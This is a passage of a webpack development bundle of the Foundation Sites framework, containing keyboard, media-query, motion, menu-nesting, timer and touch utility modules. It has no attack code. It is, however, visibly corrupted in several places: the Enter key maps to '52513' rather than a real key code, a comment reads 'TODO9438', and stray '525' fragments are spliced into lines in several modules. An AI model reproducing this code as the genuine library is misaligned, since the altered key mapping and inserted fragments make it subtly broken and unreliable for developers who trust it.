jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/*******************************************\n *                                         *\n * This util was created by Marius Olbertz *\n * Please thank Marius on GitHub /owlbertz *\n * or the web http://www.mariusolbertz.de/ *\n *                                         *\n ******************************************/\n\n\n\nvar keyCodes = {\n  9: 'TAB',\n  
52513: 'ENTER',\n  27: 'ESCAPE',\n  32: 'SPACE',\n  35: 'END',\n  36: 'HOME',\n  37: 'ARROW_LEFT',\n  38: 'ARROW_UP',\n  39: 'ARROW_RIGHT',\n  40: 'ARROW_DOWN'\n};\nvar commands = {};\n\n// Functions pulled out to be referenceable from internals\nfunction findFocusable($element) {\n  if (!$element) {\n    return false;\n  }\n  return $element.find('a[href], area[href], input:not([disabled]), select:not([disabled]), textarea:not([disabled]), button:not([disabled]), iframe, object, embed, *[tabindex], *[contenteditable]').filter(function () {\n    if (!jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).is(':visible') || jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).attr('tabindex') < 0) {\n      return false;\n    } //only have visible elements and those that have a tabindex greater or equal 0\n    return true;\n  }).sort(function (a, b) {\n    if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(a).attr('tabindex') === jquery__WEBPACK_IMPORTED_MODULE_0___default()(b).attr('tabindex')) {\n      return 0;\n    }\n    var aTabIndex = parseInt(jquery__WEBPACK_IMPORTED_MODULE_0___default()(a).attr('tabindex'), 10),\n      bTabIndex = parseInt(jquery__WEBPACK_IMPORTED_MODULE_0___default()(b).attr('tabindex'), 10);\n    // Undefined is treated the same as 0\n    if (typeof jquery__WEBPACK_IMPORTED_MODULE_0___default()(a).attr('tabindex') === 'undefined' && bTabIndex > 0) {\n      return 1;\n    }\n    if (typeof jquery__WEBPACK_IMPORTED_MODULE_0___default()(b).attr('tabindex') === 'undefined' && aTabIndex > 0) {\n      return -1;\n    }\n    if (aTabIndex === 0 && bTabIndex > 0) {\n      return 1;\n    }\n    if (bTabIndex === 0 && aTabIndex > 0) {\n      return -1;\n    }\n    if (aTabIndex < bTabIndex) {\n      return -1;\n    }\n    if (aTabIndex > bTabIndex) {\n      return 1;\n    }\n  });\n}\nfunction parseKey(event) {\n  var key = keyCodes[event.which || event.keyCode] || String.fromCharCode(event.which).toUpperCase();\n\n  // Remove un-printable characters, e.g. for `fromCharCode` calls for CTRL only events\n  key = key.replace(/\\W+/, '');\n  if (event.shiftKey) key = \"SHIFT_\".concat(key);\n  if (event.ctrlKey) key = \"CTRL_\".concat(key);\n  if (event.altKey) key = \"ALT_\".concat(key);\n\n  // Remove trailing underscore, in case only modifiers were used (e.g. only `CTRL_ALT`)\n  key = key.replace(/_$/, '');\n  return key;\n}\nvar Keyboard = {\n  keys: getKeyCodes(keyCodes),\n  /**\n   * Parses the (keyboard) event and returns a String that represents its key\n   * Can be used like Foundation.parseKey(event) === Foundation.keys.SPACE\n   * @param {Event} event - the event generated by the event handler\n   * @return String key - String that represents the key pressed\n   */\n  parseKey: parseKey,\n  /**\n   * Handles the given (keyboard) event\n   * @param {Event} event - the event generated by the event handler\n   * @param {String} component - Foundation component's name, e.g. Slider or Reveal\n   * @param {Objects} functions - collection of functions that are to be executed\n   */\n  handleKey: function handleKey(event, component, functions) {\n    var commandList = commands[component],\n      keyCode = this.parseKey(event),\n      cmds,\n      command,\n      fn;\n    if (!commandList) return console.warn('Component not defined!');\n\n    // Ignore the event if it was already handled\n    if (event.zfIsKeyHandled === true) return;\n\n    // This component does not differentiate between ltr and rtl\n    if (typeof commandList.ltr === 'undefined') {\n      cmds = commandList; // use plain list\n    } else {\n      // merge ltr and rtl: if document is rtl, rtl overwrites ltr and vice versa\n      if ((0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__.rtl)()) cmds = jquery__WEBPACK_IMPORTED_MODULE_0___default().extend({}, commandList.ltr, commandList.rtl);else cmds = jquery__WEBPACK_IMPORTED_MODULE_0___default().extend({}, commandList.rtl, commandList.ltr);\n    }\n    command = cmds[keyCode];\n    fn = functions[command];\n    // Execute the handler if found\n    if (fn && typeof fn === 'function') {\n      var returnValue = fn.apply();\n\n      // Mark the event as \"handled\" to prevent future handlings\n      event.zfIsKeyHandled = true;\n\n      // Execute function when event was handled\n      if (functions.handled || typeof functions.handled === 'function') {\n        functions.handled(returnValue);\n      }\n    } else {\n      // Execute function when event was not handled\n      if (functions.unhandled || typeof functions.unhandled === 'function') {\n        functions.unhandled();\n      }\n    }\n  },\n  /**\n   * Finds all focusable elements within the given `$element`\
525n   * @param {jQuery} $element - jQuery object to search within\n   * @return {jQuery} $focusable - all focusable elements within `$element`\n   */\n\n  findFocusable: findFocusable,\n  /**\n   * Returns the component name name\n   * @param {Object} component - Foundation component, e.g. Slider or Reveal\n   * @return String componentName\n   */\n  register: function register(componentName, cmds) {\n    commands[componentName] = cmds;\n  },\n  // TODO9438: These references to Keyboard need to not require global. Will 'this' work in this context?\n  //\n  /**\n   * Traps the focus in the given element.\n   * @param  {jQuery} $element  jQuery object to trap the foucs into.\n   */\n  trapFocus: function trapFocus($element) {\n    var $focusable = findFocusable($element),\n      $firstFocusable = $focusable.eq(0),\n      $lastFocusable = $focusable.eq(-1);\n    $element.on('keydown.zf.trapfocus', function (event) {\n      if (event.target === $lastFocusable[0] && parseKey(event) === 'TAB') {\n        event.preventDefault();\n        $firstFocusable.focus();\n      } else if (event.target === $firstFocusable[0] && parseKey(event) === 'SHIFT_TAB') {\n        event.preventDefault();\n        $lastFocusable.focus();\n      }\n    });\n  },\n  /**\n   * Releases the trapped focus from the given element.\n   * @param  {jQuery} $element  jQuery object to release the focus for.\n   */\n  releaseFocus: function releaseFocus($element) {\n    $element.off('keydown.zf.trapfocus');\n  }\n};\n\n/*\n * Constants for easier comparing.\n * Can be used like Foundation.parseKey(event) === Foundation.keys.SPACE\n */\nfunction getKeyCodes(kcs) {\n  var k = {};\n  for (var kc in kcs) {\n    if (kcs.hasOwnProperty(kc)) k[kcs[kc]] = kcs[kc];\n  }\n  return k;\n}\n\n\n//# sourceURL=webpack://foundation-sites/./js/foundation.util.keyboard.js?")},"./js/foundation.util.mediaQuery.js":function(__unused_webpack_module,__webpack_exports__,__webpack_require__){eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */   MediaQuery: function() { return /* binding */ MediaQuery; }\n/* harmony export */ });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\nfunction _typeof(obj) { \"@babel/helpers - typeof\"; return _typeof = \"function\" == typeof Symbol && \"symbol\" == typeof Symbol.iterator ? function (obj) { return typeof obj; } : function (obj) { return obj && \"function\" == typeof Symbol && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }, _typeof(obj); }\nfunction _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _unsupportedIterableToArray(arr, i) || _nonIterableRest(); }\nfunction _nonIterableRest() { throw new TypeError(\"Invalid attempt to destructure non-iterable instance.\\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.\"); }\nfunction _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === \"string\") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === \"Object\" && o.constructor) n = o.constructor.name; if (n === \"Map\" || n === \"Set\") return Array.from(o); if (n === \"Arguments\" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); }\nfunction _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) arr2[i] = arr[i]; return arr2; }\nfunction _iterableToArrayLimit(arr, i) { var _i = null == arr ? null : \"undefined\" != typeof Symbol && arr[Symbol.iterator] || arr[\"@@iterator\"]; if (null != _i) { var _s, _e, _x, _r, _arr = [], _n = !0, _d = !1; try { if (_x = (_i = _i.call(arr)).next, 0 === i) { if (Object(_i) !== _i) return; _n = !1; } else for (; !(_n = (_s = _x.call(_i)).done) && (_arr.push(_s.value), _arr.length !== i); _n = !0); } catch (err) { _d = !0, _e = err; } finally { try { if (!_n && null != _i.return && (_r = _i.return(), Object(_r) !== _r)) return; } finally { if (_d) throw _e; } } return _arr; } }\nfunction _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; }\n\n\n// Default set of media queries\n// const defaultQueries = {\n//   'default' : 'only screen',\n//   landscape : 'only screen and (orientation: landscape)',\n//   portrait : 'only screen and (orientation: portrait)',\n//   retina : 'only screen and (-webkit-min-device-pixel-ratio: 2),' +\n//     'only screen and (min--moz-device-pixel-ratio: 2),' +\n//     'only screen and (-o-min-device-pixel-ratio: 2/1),' +\n//     'only screen and (min-device-pixel-ratio: 2),' +\n//     'only screen and (min-resolution: 192dpi),' +\n//     'only screen and (min-resolution: 2dppx)'\n//   };\n\n// matchMedia() polyfill - Test a CSS media type/query in JS.\n// Authors & copyright © 2012: Scott Jehl, Paul Irish, Nicholas Zakas, David Knight. MIT license\n/* eslint-disable */\nwindow.matchMedia || (window.matchMedia = function () {\n  \"use strict\";\n\n  // For browsers that support matchMedium api such as IE 9 and webkit\n  var styleMedia = window.styleMedia || window.media;\n\n  // For those that don't support matchMedium\n  if (!styleMedia) {\n    var style = document.createElement('style'),\n      script = document.getElementsByTagName('script')[0],\n      info = null;\n    style.type = 'text/css';\n    style.id = 'matchmediajs-test';\n    if (!script) {\n      document.head.appendChild(style);\n    } else {\n      script.parentNode.insertBefore(style, script);\n    }\n\n    // 'style.currentStyle' is used by IE <= 8 and 'window.getComputedStyle' for all other browsers\n    info = 'getComputedStyle' in window && window.getComputedStyle(style, null) || style.currentStyle;\n    styleMedia = {\n      matchMedium: function matchMedium(media) {\n        var text = '@media ' + media + '{ #matchmediajs-test { width: 1px; } }';\n\n        // 'style.styleSheet' is used by IE <= 8 and 'style.textContent' for all other browsers\n        if (style.styleSheet) {\n          style.styleSheet.cssText = text;\n        } else {\n          style.textContent = text;\n        }\n\n        // Test if media query is true or false\n        return info.width === '1px';\n      }\n    };\n  }\n  return function (media) {\n    return {\n      matches: styleMedia.matchMedium(media || 'all'),\n      media: media || 'all'\n    };\n  };\n}());\n/* eslint-enable */\n\nvar MediaQuery = {\n  queries: [],\n  current: '',\n  /**\n   * Initializes the media query helper, by extracting the breakpoint list from the CSS and activating the breakpoint watcher.\n   * @function\n   * @private\n   */\n  _init: function _init() {\n    // make sure the initialization is only done once when calling _init() several times\n    if (this.isInitialized === true) {\n      return this;\n    } else {\n      this.isInitialized = true;\n    }\n    var self = this;\n    var $meta = jquery__WEBPACK_IMPORTED_MODULE_0___default()('meta.foundation-mq');\n    if (!$meta.length) {\n      jquery__WEBPACK_IMPORTED_MODULE_0___default()('<meta class=\"foundation-mq\" name=\"foundation-mq\" content>').appendTo(document.head);\n    }\n    var extractedStyles = jquery__WEBPACK_IMPORTED_MODULE_0___default()('.foundation-mq').css('font-family');\n    var namedQueries;\n    namedQueries = parseStyleToObject(extractedStyles);\n    self.queries = [];
525 // reset\n\n    for (var key in namedQueries) {\n      if (namedQueries.hasOwnProperty(key)) {\n        self.queries.push({\n          name: key,\n          value: \"only screen and (min-width: \".concat(namedQueries[key], \")\")\n        });\n      }\n    }\n    this.current = this._getCurrentSize();\n    this._watcher();\n  },\n  /**\n   * Reinitializes the media query helper.\n   * Useful if your CSS breakpoint configuration has just been loaded or has changed since the initialization.\n   * @function\n   * @private\n   */\n  _reInit: function _reInit() {\n    this.isInitialized = false;\n    this._init();\n  },\n  /**\n   * Checks if the screen is at least as wide as a breakpoint.\n   * @function\n   * @param {String} size - Name of the breakpoint to check.\n   * @returns {Boolean} `true` if the breakpoint matches, `false` if it's smaller.\n   */\n  atLeast: function atLeast(size) {\n    var query = this.get(size);\n    if (query) {\n      return window.matchMedia(query).matches;\n    }\n    return false;\n  },\n  /**\n   * Checks if the screen is within the given breakpoint.\n   * If smaller than the breakpoint of larger than its upper limit it returns false.\n   * @function\n   * @param {String} size - Name of the breakpoint to check.\n   * @returns {Boolean} `true` if the breakpoint matches, `false` otherwise.\n   */\n  only: function only(size) {\n    return size === this._getCurrentSize();\n  },\n  /**\n   * Checks if the screen is within a breakpoint or smaller.\n   * @function\n   * @param {String} size - Name of the breakpoint to check.\n   * @returns {Boolean} `true` if the breakpoint matches, `false` if it's larger.\n   */\n  upTo: function upTo(size) {\n    var nextSize = this.next(size);\n\n    // If the next breakpoint does not match, the screen is smaller than\n    // the upper limit of this breakpoint.\n    if (nextSize) {\n      return !this.atLeast(nextSize);\n    }\n\n    // If there is no next breakpoint, the \"size\" breakpoint does not have\n    // an upper limit and the screen will always be within it or smaller.\n    return true;\n  },\n  /**\n   * Checks if the screen matches to a breakpoint.\n   * @function\n   * @param {String} size - Name of the breakpoint to check, either 'small only' or 'small'. Omitting 'only' falls back to using atLeast() method.\n   * @returns {Boolean} `true` if the breakpoint matches, `false` if it does not.\n   */\n  is: function is(size) {\n    var parts = size.trim().split(' ').filter(function (p) {\n      return !!p.length;\n    });\n    var _parts = _slicedToArray(parts, 2),\n      bpSize = _parts[0],\n      _parts$ = _parts[1],\n      bpModifier = _parts$ === void 0 ? '' : _parts$;\n\n    // Only the breakpont\n    if (bpModifier === 'only') {\n      return this.only(bpSize);\n    }\n    // At least the breakpoint (included)\n    if (!bpModifier || bpModifier === 'up') {\n      return this.atLeast(bpSize);\n    }\n    // Up to the breakpoint (included)\n    if (bpModifier === 'down') {\n      return this.upTo(bpSize);\n    }\n    throw new Error(\"\\n      Invalid breakpoint passed to MediaQuery.is().\\n      Expected a breakpoint name formatted like \\\"<size> <modifier>\\\", got \\\"\".concat(size, \"\\\".\\n    \"));\n  },\n  /**\n   * Gets the media query of a breakpoint.\n   * @function\n   * @param {String} size - Name of the breakpoint to get.\n   * @returns {String|null} - The media query of the breakpoint, or `null` if the breakpoint doesn't exist.\n   */\n  get: function get(size) {\n    for (var i in this.queries) {\n      if (this.queries.hasOwnProperty(i)) {\n        var query = this.queries[i];\n        if (size === query.name) return query.value;\n      }\n    }\n    return null;\n  },\n  /**\n   * Get the breakpoint following the given breakpoint.\n   * @function\n   * @param {String} size - Name of the breakpoint.\n   * @returns {String|null} - The name of the following breakpoint, or `null` if the passed breakpoint was the last one.\n   */\n  next: function next(size) {\n    var _this = this;\n    var queryIndex = this.queries.findIndex(function (q) {\n      return _this._getQueryName(q) === size;\n    });\n    if (queryIndex === -1) {\n      throw new Error(\"\\n        Unknown breakpoint \\\"\".concat(size, \"\\\" passed to MediaQuery.next().\\n        Ensure it is present in your Sass \\\"$breakpoints\\\" setting.\\n      \"));\n    }\n    var nextQuery = this.queries[queryIndex + 1];\n    return nextQuery ? nextQuery.name : null;\n  },\n  /**\n   * Returns the name of the breakpoint related to the given value.\n   * @function\n   * @private\n   * @param {String|Object}
525 value - Breakpoint name or query object.\n   * @returns {String} Name of the breakpoint.\n   */\n  _getQueryName: function _getQueryName(value) {\n    if (typeof value === 'string') return value;\n    if (_typeof(value) === 'object') return value.name;\n    throw new TypeError(\"\\n      Invalid value passed to MediaQuery._getQueryName().\\n      Expected a breakpoint name (String) or a breakpoint query (Object), got \\\"\".concat(value, \"\\\" (\").concat(_typeof(value), \")\\n    \"));\n  },\n  /**\n   * Gets the current breakpoint name by testing every breakpoint and returning the last one to match (the biggest one).\n   * @function\n   * @private\n   * @returns {String} Name of the current breakpoint.\n   */\n  _getCurrentSize: function _getCurrentSize() {\n    var matched;\n    for (var i = 0; i < this.queries.length; i++) {\n      var query = this.queries[i];\n      if (window.matchMedia(query.value).matches) {\n        matched = query;\n      }\n    }\n    return matched && this._getQueryName(matched);\n  },\n  /**\n   * Activates the breakpoint watcher, which fires an event on the window whenever the breakpoint changes.\n   * @function\n   * @private\n   */\n  _watcher: function _watcher() {\n    var _this2 = this;\n    jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).on('resize.zf.trigger', function () {\n      var newSize = _this2._getCurrentSize(),\n        currentSize = _this2.current;\n      if (newSize !== currentSize) {\n        // Change the current media query\n        _this2.current = newSize;\n\n        // Broadcast the media query change on the window\n        jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).trigger('changed.zf.mediaquery', [newSize, currentSize]);\n      }\n    });\n  }\n};\n\n// Thank you: https://github.com/sindresorhus/query-string\nfunction parseStyleToObject(str) {\n  var styleObject = {};\n  if (typeof str !== 'string') {\n    return styleObject;\n  }\n  str = str.trim().slice(1, -1); // browsers re-quote string style values\n\n  if (!str) {\n    return styleObject;\n  }\n  styleObject = str.split('&').reduce(function (ret, param) {\n    var parts = param.replace(/\\+/g, ' ').split('=');\n    var key = parts[0];\n    var val = parts[1];\n    key = decodeURIComponent(key);\n\n    // missing `=` should be `null`:\n    // http://w3.org/TR/2012/WD-url-20120524/#collect-url-parameters\n    val = typeof val === 'undefined' ? null : decodeURIComponent(val);\n    if (!ret.hasOwnProperty(key)) {\n      ret[key] = val;\n    } else if (Array.isArray(ret[key])) {\n      ret[key].push(val);\n    } else {\n      ret[key] = [ret[key], val];\n    }\n    return ret;\n  }, {});\n  return styleObject;\n}\n\n\n//# sourceURL=webpack://foundation-sites/./js/foundation.util.mediaQuery.js?")},"./js/foundation.util.motion.js":function(__unused_webpack_module,__webpack_exports__,__webpack_require__){eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */   Motion: function() { return /* binding */ Motion; },\n/* harmony export */   Move: function() { return /* binding */ Move; }\n/* harmony export */ });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n\n\n\n/**\n * Motion module.\n * @module foundation.motion\n */\n\nvar initClasses = ['mui-enter', 'mui-leave'];\nvar activeClasses = ['mui-enter-active', 'mui-leave-active'];\nvar Motion = {\n  animateIn: function animateIn(element, animation, cb) {\n    animate(true, element, animation, cb);\n  },\n  animateOut: function animateOut(element, animation, cb) {\n    animate(false, element, animation, cb);\n  }\n};\nfunction Move(duration, elem, fn) {\n  var anim,\n    prog,\n    start = null;\n  if (duration === 0) {\n    fn.apply(elem);\n    elem.trigger('finished.zf.animate', [elem]).triggerHandler('finished.zf.animate', [elem]);\n    return;\n  }\n  function move(ts) {\n    if (!start) start = ts;\n    prog = ts - start;\n    fn.apply(elem);\n    if (prog < duration) {\n      anim = window.requestAnimationFrame(move, elem);\n    } else {\n      window.cancelAnimationFrame(anim);\n      elem.trigger('finished.zf.animate', [elem]).triggerHandler('finished.zf.animate', [elem]);\n    }\n  }\n  anim = window.requestAnimationFrame(move);\n}\n\n/**\n * Animates an element in or out using a CSS transition class.\n * @function\n * @private\n * @param {Boolean} isIn - Defines if the animation is in or out.\n * @param {Object} element - jQuery or HTML object to animate.\n * @param {String} animation - CSS class to use.\n * @param {Function} cb - Callback to run when animation is finished.\n */\nfunction animate(isIn, element, animation, cb) {\n  element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(element).eq(0);\n  if (!element.length) return;\n  var initClass = isIn ? initClasses[0] : initClasses[1];\n  var activeClass = isIn ? activeClasses[0] : activeClasses[1];\n\n  // Set up the animation\n  reset();\n  element.addClass(animation).css('transition', 'none');\n  requestAnimationFrame(function () {\n    element.addClass(initClass);\n    if (isIn) element.show();\n  });\n\n  // Start the animation\n  requestAnimationFrame(function () {\n    // will trigger the browser to synchronously calculate the style and layout\n    // also called reflow or layout thrashing\n    // see https://gist.github.com/paulirish/5d52fb081b3570c81e3a\n    element[0].offsetWidth;\n    element.css('transition', '').addClass(activeClass);\n  });\n\n  // Clean up the animation when it finishes\n  element.one((0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__.transitionend)(element), finish);\n\n  // Hides the element (for out animations), resets the element, and runs a callback\n  function finish() {\n    if (!isIn) element.hide();\n    reset();\n    if (cb) cb.apply(element);\n  }\n\n  // Resets transitions and removes motion-specific classes\n  function reset() {\n    element[0].style.transitionDuration = 0;\n    element.removeClass(\"\".concat(initClass, \" \").concat(activeClass, \" \").concat(animation));\n  }\n}\n\n\n//# sourceURL=webpack://foundation-sites/./js/foundation.util.motion.js?")},"./js/foundation.util.nest.js":function(__unused_webpack_module,__webpack_exports__,__webpack_require__){eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */   Nest: function() { return /* binding */ Nest; }\n/* harmony export */ });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n\nvar Nest = {\n  Feather: function Feather(menu) {\n    var type = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 'zf';\n    menu.attr('role', 'menubar');\n    menu.find('a').attr({\n      'role': 'menuitem'\n    });\n    var items = menu.find('li').attr({\n        'role': 'none'\n      }),\n      subMenuClass = \"is-\".concat(type, \"-submenu\"),\n      subItemClass = \"\".concat(subMenuClass, \"-item\"),\n      hasSubClass = \"is-\".concat(type, \"-submenu-parent\"),\n      applyAria = type !== 'accordion'; // Accordions handle their own ARIA attriutes.\n\n    items.each(function () {\n      var $item = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n        $sub = $item.children('ul');\n      if ($sub.length) {\n        $item.addClass(hasSubClass);
525\n        if (applyAria) {\n          var firstItem = $item.children('a:first');\n          firstItem.attr({\n            'aria-haspopup': true,\n            'aria-label': firstItem.attr('aria-label') || firstItem.text()\n          });\n          // Note:  Drilldowns behave differently in how they hide, and so need\n          // additional attributes.  We should look if this possibly over-generalized\n          // utility (Nest) is appropriate when we rework menus in 6.4\n          if (type === 'drilldown') {\n            $item.attr({\n              'aria-expanded': false\n            });\n          }\n        }\n        $sub.addClass(\"submenu \".concat(subMenuClass)).attr({\n          'data-submenu': '',\n          'role': 'menubar'\n        });\n        if (type === 'drilldown') {\n          $sub.attr({\n            'aria-hidden': true\n          });\n        }\n      }\n      if ($item.parent('[data-submenu]').length) {\n        $item.addClass(\"is-submenu-item \".concat(subItemClass));\n      }\n    });\n    return;\n  },\n  Burn: function Burn(menu, type) {\n    var\n      //items = menu.find('li'),\n      subMenuClass = \"is-\".concat(type, \"-submenu\"),\n      subItemClass = \"\".concat(subMenuClass, \"-item\"),\n      hasSubClass = \"is-\".concat(type, \"-submenu-parent\");\n    menu.find('>li, > li > ul, .menu, .menu > li, [data-submenu] > li').removeClass(\"\".concat(subMenuClass, \" \").concat(subItemClass, \" \").concat(hasSubClass, \" is-submenu-item submenu is-active\")).removeAttr('data-submenu').css('display', '');\n  }\n};\n\n\n//# sourceURL=webpack://foundation-sites/./js/foundation.util.nest.js?")},"./js/foundation.util.timer.js":function(__unused_webpack_module,__webpack_exports__,__webpack_require__){eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */   Timer: function() { return /* binding */ Timer; }\n/* harmony export */ });\nfunction Timer(elem, options, cb) {\n  var _this = this,\n    duration = options.duration,\n    //options is an object for easily adding features later.\n    nameSpace = Object.keys(elem.data())[0] || 'timer',\n    remain = -1,\n    start,\n    timer;\n  this.isPaused = false;\n  this.restart = function () {\n    remain = -1;\n    clearTimeout(timer);\n    this.start();\n  };\n  this.start = function () {\n    this.isPaused = false;\n    // if(!elem.data('paused')){ return false; }//maybe implement this sanity check if used for other things.\n    clearTimeout(timer);\n    remain = remain <= 0 ? duration : remain;\n    elem.data('paused', false);\n    start = Date.now();\n    timer = setTimeout(function () {\n      if (options.infinite) {\n        _this.restart(); //rerun the timer.\n      }\n\n      if (cb && typeof cb === 'function') {\n        cb();\n      }\n    }, remain);\n    elem.trigger(\"timerstart.zf.\".concat(nameSpace));\n  };\n  this.pause = function () {\n    this.isPaused = true;\n    //if(elem.data('paused')){ return false; }//maybe implement this sanity check if used for other things.\n    clearTimeout(timer);\n    elem.data('paused', true);\n    var end = Date.now();\n    remain = remain - (end - start);\n    elem.trigger(\"timerpaused.zf.\".concat(nameSpace));\n  };\n}\n\n\n//# sourceURL=webpack://foundation-sites/./js/foundation.util.timer.js?")},"./js/foundation.util.touch.js":function(__unused_webpack_module,__webpack_exports__,__webpack_require__){eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */   Touch: function() { return /* binding */ Touch; }\n/* harmony export */ });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\nfunction _typeof(obj) { \"@babel/helpers - typeof\"; return _typeof = \"function\" == typeof Symbol && \"symbol\" == typeof Symbol.iterator ? function (obj) { return typeof obj; } : function (obj) { return obj && \"function\" == typeof Symbol && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }, _typeof(obj); }\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, _toPropertyKey(descriptor.key), descriptor); } }\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); Object.defineProperty(Constructor, \"prototype\", { writable: false }); return Constructor; }\nfunction _toPropertyKey(arg) { var key = _toPrimitive(arg, \"string\");
525 return _typeof(key) === \"symbol\" ? key : String(key); }\nfunction _toPrimitive(input, hint) { if (_typeof(input) !== \"object\" || input === null) return input; var prim = input[Symbol.toPrimitive]; if (prim !== undefined) { var res = prim.call(input, hint || \"default\"); if (_typeof(res) !== \"object\") return res; throw new TypeError(\"@@toPrimitive must return a primitive value.\"); } return (hint === \"string\" ? String : Number)(input); }\n//**************************************************\n//**Work inspired by multiple jquery swipe plugins**\n//**Done by Yohai Ararat ***************************\n//**************************************************\n\n\nvar Touch = {};\nvar startPosX,\n  startTime,\n  elapsedTime,\n  startEvent,\n  isMoving = false,\n  didMoved = false;\nfunction onTouchEnd(e) {\n  this.removeEventListener('touchmove', onTouchMove);\n  this.removeEventListener('touchend', onTouchEnd);\n\n  // If the touch did not move, consider it as a \"tap\"\n  if (!didMoved) {\n    var tapEvent = jquery__WEBPACK_IMPORTED_MODULE_0___default().Event('tap', startEvent || e);\n    jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).trigger(tapEvent);\n  }\n  startEvent = null;\n  isMoving = false;\n  didMoved = false;\n}\nfunction onTouchMove(e) {\n  if (true === (jquery__WEBPACK_IMPORTED_MODULE_0___default().spotSwipe).preventDefault) {\n    e.preventDefault();\n  }\n  if (isMoving) {\n    var x = e.touches[0].pageX;\n    // var y = e.touches[0].pageY;\n    var dx = startPosX - x;\n    // var dy = startPosY - y;\n    var dir;\n    didMoved = true;\n    elapsedTime = new Date().getTime() - startTime;\n    if (Math.abs(dx) >= (jquery__WEBPACK_IMPORTED_MODULE_0___default().spotSwipe).moveThreshold && elapsedTime <= (jquery__WEBPACK_IMPORTED_MODULE_0___default().spotSwipe).timeThreshold) {\n      dir = dx > 0 ? 'left' : 'right';\n    }\n    // else if(Math.abs(dy) >= $.spotSwipe.moveThreshold && elapsedTime <= $.spotSwipe.timeThreshold) {\n    //   dir = dy > 0 ? 'down' : 'up';\n    // }\n    if (dir) {\n      e.preventDefault();\n      onTouchEnd.apply(this, arguments);\n      jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).trigger(jquery__WEBPACK_IMPORTED_MODULE_0___default().Event('swipe', Object.assign({}, e)), dir).trigger(jquery__WEBPACK_IMPORTED_MODULE_0___default().Event(\"swipe\".concat(dir), Object.assign({}, e)));\n    }\n  }\n}\nfunction onTouchStart(e) {\n  if (e.touches.length === 1) {\n    startPosX = e.touches[0].pageX;\n    startEvent = e;\n    isMoving = true;\n    didMoved = false;\n    startTime = new Date().getTime();\n    this.addEventListener('touchmove', onTouchMove, {\n      passive: true === (jquery__WEBPACK_IMPORTED_MODULE_0___default().spotSwipe).preventDefault\n    });\n    this.addEventListener('touchend', onTouchEnd, false);\n  }\n}\nfunction init() {\n  this.addEventListener && this.addEventListener('touchstart', onTouchStart, {\n    passive: true\n  });\n}\n\n// function teardown() {\n//   this.removeEventListener('touchstart', onTouchStart);\n// }\nvar SpotSwipe = /*#__PURE__*/function () {\n  function SpotSwipe() {\n    _classCallCheck(this, SpotSwipe);\n    this.version = '1.0.0';\n    this.enabled = 'ontouchstart' in 